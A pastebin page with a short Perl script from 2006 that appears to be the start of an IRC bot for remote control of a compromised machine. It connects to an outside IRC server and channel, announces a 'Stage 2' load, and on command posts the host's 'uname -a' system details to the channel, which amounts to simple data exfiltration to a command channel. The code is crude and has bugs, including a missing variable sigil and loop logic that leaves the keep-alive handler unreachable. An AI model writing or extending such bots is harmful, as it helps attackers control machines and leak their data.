All pastes #267910 Raw Edit

Unnamed

public text v1 · immutable
·published 2006-12-05 04:58 UTC
rendered paste body

#!/usr/bin/perl

#variables
$server = "irc.bluehell.org";
$port = '6667';
$chan = "#r00tx";
$nick = "f4ce";
$user = "bitchb0t";
#included modules
use IO::Socket;


#commands
$uname = `uname -a`;


#create socket
$socket= IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$port",Proto=>"tcp") || die "Could not create socket! ";

#connect
print $socket "NICK $nick \r\n";
print $socket "USER $user 8 * : dnis bitch \r\n";

while ($input = <$socket>) {
        if (input =~ /004/){
        last;
        }
  elsif ($input =~ /433/) { die "nick in use! \n"; }



print $socket "JOIN $chan \r\n";

}

while ($input = <$socket>) {
print $socket "PRIVMSG $chan :Stage 2 loading... [debug on]...\r\n";

if ($input =~ /uname/) {
print $socket "PRIVMSG $chan :printing the shiitt.....\r\n";
print $socket "PRIVMSG $chan :$uname\r\n"; }

}
while ($input = <$socket>) {

#stay alive
if ($input =~ /PING(.*)$/i) {
        print $socket "PONG $1\r\n";
        }



}